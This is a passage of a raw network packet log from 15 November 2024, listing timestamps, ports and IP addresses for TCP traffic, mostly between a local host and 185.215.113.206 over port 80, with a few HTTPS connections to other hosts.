Nov 15, 2024 16:16:31.255758047 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.255767107 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.255779028 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.255789042 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.255799055 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.255809069 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.255820036 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.255839109 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.255839109 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.255848885 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.255851030 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.255861044 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.255872965 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.255897045 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.255911112 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.255924940 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.255934000 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.255934000 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.255934954 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.255934954 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.255948067 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.255959988 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.255970001 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.255987883 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.256000042 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.256004095 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.256004095 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.256004095 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.256031036 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.256053925 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.256063938 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.256063938 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.256067038 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.256082058 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.256092072 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.256093979 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.256093979 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.256103039 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.256114006 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.256125927 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.256134987 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.256146908 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.256155968 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.256158113 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.256158113 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.256158113 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.256158113 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.256166935 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.256176949 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.256176949 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.256180048 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.256195068 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.256220102 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.264669895 CET	443	49858	108.156.211.59	192.168.2.5
Nov 15, 2024 16:16:31.264827967 CET	443	49858	108.156.211.59	192.168.2.5
Nov 15, 2024 16:16:31.265412092 CET	49858	443	192.168.2.5	108.156.211.59
Nov 15, 2024 16:16:31.265438080 CET	443	49858	108.156.211.59	192.168.2.5
Nov 15, 2024 16:16:31.265450954 CET	49858	443	192.168.2.5	108.156.211.59
Nov 15, 2024 16:16:31.265507936 CET	49858	443	192.168.2.5	108.156.211.59
Nov 15, 2024 16:16:31.289293051 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.289303064 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.289974928 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.300765991 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.300776958 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.300843000 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.358717918 CET	49870	443	192.168.2.5	204.79.197.219
Nov 15, 2024 16:16:31.358793020 CET	443	49870	204.79.197.219	192.168.2.5
Nov 15, 2024 16:16:31.359426975 CET	49870	443	192.168.2.5	204.79.197.219
Nov 15, 2024 16:16:31.359905958 CET	49871	443	192.168.2.5	23.205.110.137
Nov 15, 2024 16:16:31.359949112 CET	443	49871	23.205.110.137	192.168.2.5
Nov 15, 2024 16:16:31.360017061 CET	49871	443	192.168.2.5	23.205.110.137
Nov 15, 2024 16:16:31.360165119 CET	49870	443	192.168.2.5	204.79.197.219
Nov 15, 2024 16:16:31.360202074 CET	443	49870	204.79.197.219	192.168.2.5
Nov 15, 2024 16:16:31.360515118 CET	49871	443	192.168.2.5	23.205.110.137
Nov 15, 2024 16:16:31.360532999 CET	443	49871	23.205.110.137	192.168.2.5
Nov 15, 2024 16:16:31.360984087 CET	49872	443	192.168.2.5	23.205.110.137
Nov 15, 2024 16:16:31.361042976 CET	443	49872	23.205.110.137	192.168.2.5
Nov 15, 2024 16:16:31.361146927 CET	49872	443	192.168.2.5	23.205.110.137
Nov 15, 2024 16:16:31.362018108 CET	49872	443	192.168.2.5	23.205.110.137
Nov 15, 2024 16:16:31.362035990 CET	443	49872	23.205.110.137	192.168.2.5
Nov 15, 2024 16:16:31.367142916 CET	49873	443	192.168.2.5	204.79.197.219
Nov 15, 2024 16:16:31.367171049 CET	443	49873	204.79.197.219	192.168.2.5
Nov 15, 2024 16:16:31.367404938 CET	49873	443	192.168.2.5	204.79.197.219
Nov 15, 2024 16:16:31.367813110 CET	49873	443	192.168.2.5	204.79.197.219
Nov 15, 2024 16:16:31.367830992 CET	443	49873	204.79.197.219	192.168.2.5
Nov 15, 2024 16:16:31.374604940 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.374655962 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.374669075 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.374775887 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.374789000 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.374804974 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.374804974 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.374845028 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.374947071 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.374967098 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.374979019 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.374989986 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375001907 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375011921 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375024080 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375034094 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375045061 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375056028 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375061989 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375066996 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375085115 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375103951 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375116110 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375117064 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.375117064 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.375117064 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.375117064 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.375128031 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375137091 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.375138998 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375150919 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375161886 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375166893 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375178099 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375189066 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375199080 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375211000 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375219107 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375236034 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.375236034 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.375250101 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375274897 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375287056 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375293016 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375293970 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.375298977 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375310898 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375328064 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375333071 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.375334024 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375340939 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375354052 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375365019 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375368118 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.375376940 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375405073 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375416040 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375427008 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375438929 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375449896 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375461102 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375473976 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375479937 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375489950 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.375489950 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.375490904 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375489950 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.375509024 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375551939 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.375551939 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.375551939 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.375555992 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375567913 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375580072 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375586033 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375593901 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.375597000 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375608921 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375613928 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.375621080 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375632048 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375643015 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375653028 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375679970 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375698090 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375725031 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.375725031 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.375725985 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375725031 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.375725031 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.375741005 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375752926 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375758886 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375758886 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.375766039 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375777006 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375782013 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.375782967 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375790119 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375802994 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375804901 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375808001 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375813961 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375818968 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375823975 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375853062 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375863075 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375869989 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375880957 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375886917 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375899076 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375910997 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375921965 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375931978 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.375931978 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.375931978 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.375933886 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375931978 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.375948906 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.375962973 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376003981 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376008987 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376010895 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376010895 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376019955 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376025915 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376032114 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376049042 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376060963 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376075029 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376086950 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376096964 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376107931 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376140118 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376157045 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376164913 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376164913 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376164913 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376164913 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376168966 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376192093 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376194000 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376204967 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376235008 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376245975 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376250029 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376250029 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376256943 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376269102 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376280069 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376312971 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376312971 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376338005 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376368046 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376379013 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376390934 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376418114 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376430035 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376449108 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376456022 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376457930 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376460075 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376461983 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376461983 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376466036 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376470089 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376477957 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376532078 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376550913 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376550913 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376550913 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376563072 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376575947 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376585960 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376596928 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376607895 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376621008 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376630068 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376643896 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376663923 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376677990 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376687050 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376691103 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376702070 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376713991 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376724005 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376734972 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376745939 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376758099 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376797915 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376810074 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376810074 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376810074 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376810074 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376823902 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376836061 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376847029 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376857996 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376868963 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376895905 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376907110 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376918077 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376928091 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376940012 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376950979 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376961946 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376976967 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.376981020 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376981020 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376981020 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376981020 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376981020 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.376991034 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377002954 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377013922 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377060890 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377068996 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377093077 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377103090 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377113104 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377121925 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.377121925 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.377121925 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.377121925 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.377124071 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377135038 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377140999 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.377146959 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377157927 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377172947 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377180099 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377187014 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377194881 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377197027 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377197981 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377198935 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377207041 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377227068 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.377227068 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.377227068 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.377227068 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.377234936 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377247095 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377258062 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377269030 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377279043 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377289057 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377299070 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377309084 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377319098 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377366066 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377367973 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.377367973 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.377367973 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.377376080 CET	80	49759	185.215.113.206	192.168.2.5
